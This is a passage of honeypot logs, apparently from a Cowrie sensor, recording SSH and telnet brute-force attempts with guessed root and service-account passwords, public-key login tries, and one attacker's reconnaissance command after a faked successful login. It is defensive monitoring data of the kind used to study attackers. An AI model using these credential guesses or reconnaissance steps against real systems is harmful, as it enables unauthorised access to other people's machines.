256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:09.753521Z","src_ip":"194.113.233.25","session":"0f5b7a708dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"utjuhfabz","message":"login attempt [root/utjuhfabz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:10.311547Z","src_ip":"194.113.233.25","session":"0f5b7a708dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:11.408829Z","src_ip":"194.113.233.25","session":"0f5b7a708dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":55922,"dst_ip":"159.203.135.109","dst_port":22,"session":"a71636e371e2","protocol":"ssh","message":"New connection: 171.244.37.103:55922 (159.203.135.109:22) [session: a71636e371e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:13.200453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:13.205567Z","src_ip":"171.244.37.103","session":"a71636e371e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:13.459248Z","src_ip":"171.244.37.103","session":"a71636e371e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"87654321","message":"login attempt [ftpuser/87654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:13.616986Z","src_ip":"20.6.35.235","session":"ffd80f1afa3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47866,"dst_ip":"159.203.135.109","dst_port":23,"session":"867ac1f98e77","protocol":"telnet","message":"New connection: 69.4.83.194:47866 (159.203.135.109:23) [session: 867ac1f98e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:14.376846Z"}
{"eventid":"cowrie.login.failed","username":"code","password":"code","message":"login attempt [code/code] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:14.504052Z","src_ip":"171.244.37.103","session":"a71636e371e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:15.761240Z","src_ip":"171.244.37.103","session":"a71636e371e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.132203102111816,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:24.364013Z","src_ip":"69.4.83.194","session":"f9f89bf8d1e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"23.2","message":"Connection lost after 23.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:26.525943Z","src_ip":"20.6.35.235","session":"ffd80f1afa3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.185.53.93","src_port":34838,"dst_ip":"10.17.0.5","dst_port":22,"session":"991c3e5f37ef","protocol":"ssh","message":"New connection: 103.185.53.93:34838 (10.17.0.5:22) [session: 991c3e5f37ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:27.436769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:27.442024Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:27.728106Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.53421425819397,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:28.960249Z","src_ip":"69.4.83.194","session":"26c45e260545","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:2e:82:53:43:94:d2:14:d7:f9:d1:3f:14:0c:61:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3AB9buwpQVjU+PnU7dYPEmHtY0WTr+S6qT1967ZxsjUoLE/tY7+uVwDcVYTxQkuCCw/w8TeGJO3eIPtSjp1XZU3FmTKVK2j3CCaORJcfyw3XqgNPzM/xsQg1+Gn37YwMJpLn9JwHV2C7Eu5n/I53j1y0w5IemBUZUhhfQ6uHImTVKLy9Mj9rxMGDKX6sWE7LSBUtSU6EF19/FzrrYq/0+lmU6cZVVTmJJKWVl0zrjkz2O+isqFUQ0ZgX1MX/ztr/fe9d8u/ETmVtSl3NK8rnAx9pAcEUuxPXm0utb24FPeDSwqkGS6EJvMqdXHnMu1PO5eT7skGotVpk5rkG65XGFJXY8ldPlipgCvZG2hWX0ROxxTTxJPrklwYQX9+AHw97VWSG4FIlFfRd8RxmWF43BTsYh/J0hMWV8o0yir7VFstZya38QPgzK21w8Gjg/+XKm3URIG8ZVXCRLrBETSSIQP2NqqABhq6aFfrZYrNfPhUzow7/pv+nUopm6/IjryRs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:2e:82:53:43:94:d2:14:d7:f9:d1:3f:14:0c:61:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:29.078307Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:2e:82:53:43:94:d2:14:d7:f9:d1:3f:14:0c:61:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3AB9buwpQVjU+PnU7dYPEmHtY0WTr+S6qT1967ZxsjUoLE/tY7+uVwDcVYTxQkuCCw/w8TeGJO3eIPtSjp1XZU3FmTKVK2j3CCaORJcfyw3XqgNPzM/xsQg1+Gn37YwMJpLn9JwHV2C7Eu5n/I53j1y0w5IemBUZUhhfQ6uHImTVKLy9Mj9rxMGDKX6sWE7LSBUtSU6EF19/FzrrYq/0+lmU6cZVVTmJJKWVl0zrjkz2O+isqFUQ0ZgX1MX/ztr/fe9d8u/ETmVtSl3NK8rnAx9pAcEUuxPXm0utb24FPeDSwqkGS6EJvMqdXHnMu1PO5eT7skGotVpk5rkG65XGFJXY8ldPlipgCvZG2hWX0ROxxTTxJPrklwYQX9+AHw97VWSG4FIlFfRd8RxmWF43BTsYh/J0hMWV8o0yir7VFstZya38QPgzK21w8Gjg/+XKm3URIG8ZVXCRLrBETSSIQP2NqqABhq6aFfrZYrNfPhUzow7/pv+nUopm6/IjryRs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:29.082251Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:63:76:b4:f3:2c:3c:2e:db:a5:32:55:a1:71:dc:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+3yBeGIq7VpAR3/txsU/mEGMnz+8371JpWjwvZ3tkNTnCNg8GqqIVtK4Md14YoMq9tAyxP0PMrodsFB9+HJufmpBOmHmsIQPrtL2D2/1PQ9e78KUV0D2Y9ue6DF4BZaoliH8N83vWKBjIU9PAySVccuUb3hsagxEnrNo8bdWP5z6g+IogoXRP447Q1fHahvmmExlJ1PhDsDI05XMK1zPKLKGR1oZQzQlOXXQYvLxPc0rh4QCZIvX8w7eYhKVFzxr5j73lE7GhFHZbOUmVsH5DSUSZh30Wj1lus2XXzk6gdfoWmH4FiqtGnZ5NZY5euyUEPUA2cqiHaHf9hveMVhzb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:63:76:b4:f3:2c:3c:2e:db:a5:32:55:a1:71:dc:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:29.357430Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:63:76:b4:f3:2c:3c:2e:db:a5:32:55:a1:71:dc:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+3yBeGIq7VpAR3/txsU/mEGMnz+8371JpWjwvZ3tkNTnCNg8GqqIVtK4Md14YoMq9tAyxP0PMrodsFB9+HJufmpBOmHmsIQPrtL2D2/1PQ9e78KUV0D2Y9ue6DF4BZaoliH8N83vWKBjIU9PAySVccuUb3hsagxEnrNo8bdWP5z6g+IogoXRP447Q1fHahvmmExlJ1PhDsDI05XMK1zPKLKGR1oZQzQlOXXQYvLxPc0rh4QCZIvX8w7eYhKVFzxr5j73lE7GhFHZbOUmVsH5DSUSZh30Wj1lus2XXzk6gdfoWmH4FiqtGnZ5NZY5euyUEPUA2cqiHaHf9hveMVhzb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:29.361457Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:90:0b:95:ce:71:9b:33:56:68:a1:8d:39:33:45:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaIMkYHt9rZFRmPj53Q6cOQxMuhEpVNvLvTRTiZMSLaKVWvfpGv8HwxksddUST0TA8042xB98kUmpkYrLtvUkxtAvuYDAw8KmqTunI2OHQPsFfyUE4e+KobocJcuaJQ/HyrXw5tM2D4rIHtZtKMZK3AR6fxseoq45P4byP0rlAAGp1K+IgYZz9dXPQSrRQZVoqAxQgBxajJzeJTuUpy+fHMobQjW1D20dlDSCMNm9YkqNBYH+Fvw+diuOtzzCBbQpeywXaCvTY6fCwJbOngfXv+sixrKHgV70BAe0N3Tvk0wygZ1+ig5eaoyfAIpAmhLHshO96TTn06PVrWKI8zUf/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:90:0b:95:ce:71:9b:33:56:68:a1:8d:39:33:45:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:29.640774Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:90:0b:95:ce:71:9b:33:56:68:a1:8d:39:33:45:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaIMkYHt9rZFRmPj53Q6cOQxMuhEpVNvLvTRTiZMSLaKVWvfpGv8HwxksddUST0TA8042xB98kUmpkYrLtvUkxtAvuYDAw8KmqTunI2OHQPsFfyUE4e+KobocJcuaJQ/HyrXw5tM2D4rIHtZtKMZK3AR6fxseoq45P4byP0rlAAGp1K+IgYZz9dXPQSrRQZVoqAxQgBxajJzeJTuUpy+fHMobQjW1D20dlDSCMNm9YkqNBYH+Fvw+diuOtzzCBbQpeywXaCvTY6fCwJbOngfXv+sixrKHgV70BAe0N3Tvk0wygZ1+ig5eaoyfAIpAmhLHshO96TTn06PVrWKI8zUf/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:29.645014Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:5a:56:68:73:bf:a6:5e:00:60:6a:2f:15:15:39:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDabhtWWHvS4uk4C5aOFxnNmJ+ANUWd+E6+aAWWyb/JdDb3ttmGGVXoDp72/xpulUpXEqVA4KZY59jMalQD9sxGhZ0zbH9KL1gxcPjNv0P17bqlNMC4kheNm81U2Bhl8+QiRfx/pfUkpOSEZWRCTkCEdVvcx8xsrbtxj6/pejrK9PZM4goYahR77x8Uz6UNlFC87HmZDlg3ph5ZUPUMXHLri8DjFm3gR+vjRfUIF3OgQiLMOfITAiOH7FassFw2ji9dEW5E+raidGN+PxM7+eJhsYmQsA8JzbCmy5lKyOavGutqAzm81HIUlgNKak4taF4AUp0S3NulBv3GVytd5CHpZ6IIqKTlHr2PZTkXoVu661Q078oXy/AWel/+bIy6Va+Bf1/9KWddsQ3u799omw8CXUJcfxxvGSEM7LLWLV/sSVibypERZGG+wlkT6K10/3vz6MzSAD72+OafylGdKQ0anWbmxc/QrjZX9nP2u4lXdx4J3jTYE2zU8OAHweqASZDTPzA3abWxla+sXup9+Jkugh13rGLQImDM/LK8Bcm4yi8fCkE/cLlLyo78qz4dbbE7G2KDcnynG3u2NitY6RLSjDdqK2xhlfymO45Y3EfUefHgdupsccgKvY0p5jm4zvdAxkq9Lw0Wm5y1xhNE6vMZUXVGnBJ4suffdzmLrEzZAQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:5a:56:68:73:bf:a6:5e:00:60:6a:2f:15:15:39:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:29.922090Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:5a:56:68:73:bf:a6:5e:00:60:6a:2f:15:15:39:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDabhtWWHvS4uk4C5aOFxnNmJ+ANUWd+E6+aAWWyb/JdDb3ttmGGVXoDp72/xpulUpXEqVA4KZY59jMalQD9sxGhZ0zbH9KL1gxcPjNv0P17bqlNMC4kheNm81U2Bhl8+QiRfx/pfUkpOSEZWRCTkCEdVvcx8xsrbtxj6/pejrK9PZM4goYahR77x8Uz6UNlFC87HmZDlg3ph5ZUPUMXHLri8DjFm3gR+vjRfUIF3OgQiLMOfITAiOH7FassFw2ji9dEW5E+raidGN+PxM7+eJhsYmQsA8JzbCmy5lKyOavGutqAzm81HIUlgNKak4taF4AUp0S3NulBv3GVytd5CHpZ6IIqKTlHr2PZTkXoVu661Q078oXy/AWel/+bIy6Va+Bf1/9KWddsQ3u799omw8CXUJcfxxvGSEM7LLWLV/sSVibypERZGG+wlkT6K10/3vz6MzSAD72+OafylGdKQ0anWbmxc/QrjZX9nP2u4lXdx4J3jTYE2zU8OAHweqASZDTPzA3abWxla+sXup9+Jkugh13rGLQImDM/LK8Bcm4yi8fCkE/cLlLyo78qz4dbbE7G2KDcnynG3u2NitY6RLSjDdqK2xhlfymO45Y3EfUefHgdupsccgKvY0p5jm4zvdAxkq9Lw0Wm5y1xhNE6vMZUXVGnBJ4suffdzmLrEzZAQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:29.926647Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:2a:3a:18:b8:5b:10:71:68:d0:4a:6f:19:02:17:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD3SWwY3q2zTw2XW90/3bGCCftVHdfd1YRS+smMunX9SvAX64FSQWDYEYmmsrxKA8NwGnLXbSDUssbEwkqlASv3Fg20231KIKVo1nRUQ05bRKmJYxi/J+WdTmo7WefuvUteQYwM2wFve3pJkxrQI/qNxHpWe5nSbozecia0gvixkwSu8sK3RX3HuxR1I8Lb+hjGzBW2Z6eRdJykYvurG8Yt0wZnzv6mKsu2VZulFI5kwjL9QgpGTrsO4ug6r8j1MPXNEbteZ5OEd4U3SWOitw8FYL4MmuqmWAlhc1SEJIpH6t76PO8hvKi0Kvr1eno8YXMW7+PmB4c8qhkzJLcX6/bfge8cLqzPAk/w+GyX5J9Dqs7YuBBZsPQHNG+Lw5+/KGO1LbxjN+0IFQLI/fJPh9Zry3Xm4SU5fHL4IGU6lNVfWWOqnCjEjzfmKBc8OMtuquJcjwTsrWLXlPl7KidoD2hkmnY4W++SXbo0lyoQnD1xQPfM1YB0OVez3zT3AH4aL0U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:2a:3a:18:b8:5b:10:71:68:d0:4a:6f:19:02:17:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:30.201956Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:2a:3a:18:b8:5b:10:71:68:d0:4a:6f:19:02:17:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD3SWwY3q2zTw2XW90/3bGCCftVHdfd1YRS+smMunX9SvAX64FSQWDYEYmmsrxKA8NwGnLXbSDUssbEwkqlASv3Fg20231KIKVo1nRUQ05bRKmJYxi/J+WdTmo7WefuvUteQYwM2wFve3pJkxrQI/qNxHpWe5nSbozecia0gvixkwSu8sK3RX3HuxR1I8Lb+hjGzBW2Z6eRdJykYvurG8Yt0wZnzv6mKsu2VZulFI5kwjL9QgpGTrsO4ug6r8j1MPXNEbteZ5OEd4U3SWOitw8FYL4MmuqmWAlhc1SEJIpH6t76PO8hvKi0Kvr1eno8YXMW7+PmB4c8qhkzJLcX6/bfge8cLqzPAk/w+GyX5J9Dqs7YuBBZsPQHNG+Lw5+/KGO1LbxjN+0IFQLI/fJPh9Zry3Xm4SU5fHL4IGU6lNVfWWOqnCjEjzfmKBc8OMtuquJcjwTsrWLXlPl7KidoD2hkmnY4W++SXbo0lyoQnD1xQPfM1YB0OVez3zT3AH4aL0U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:30.206575Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:30.483532Z","src_ip":"103.185.53.93","session":"991c3e5f37ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.497637033462524,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:39.461458Z","src_ip":"69.4.83.194","session":"e62ef89cf9ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaf3ee7b9cdf","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: aaf3ee7b9cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:40.941381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:40.946751Z","src_ip":"23.97.62.150","session":"aaf3ee7b9cdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:41.188468Z","src_ip":"23.97.62.150","session":"aaf3ee7b9cdf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:41.919673Z","src_ip":"23.97.62.150","session":"aaf3ee7b9cdf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:42.453127Z","src_ip":"23.97.62.150","session":"aaf3ee7b9cdf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"netstat -tulpn | head -10","message":"CMD: netstat -tulpn | head -10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:42.456878Z","src_ip":"23.97.62.150","session":"aaf3ee7b9cdf","protocol":"ssh"}
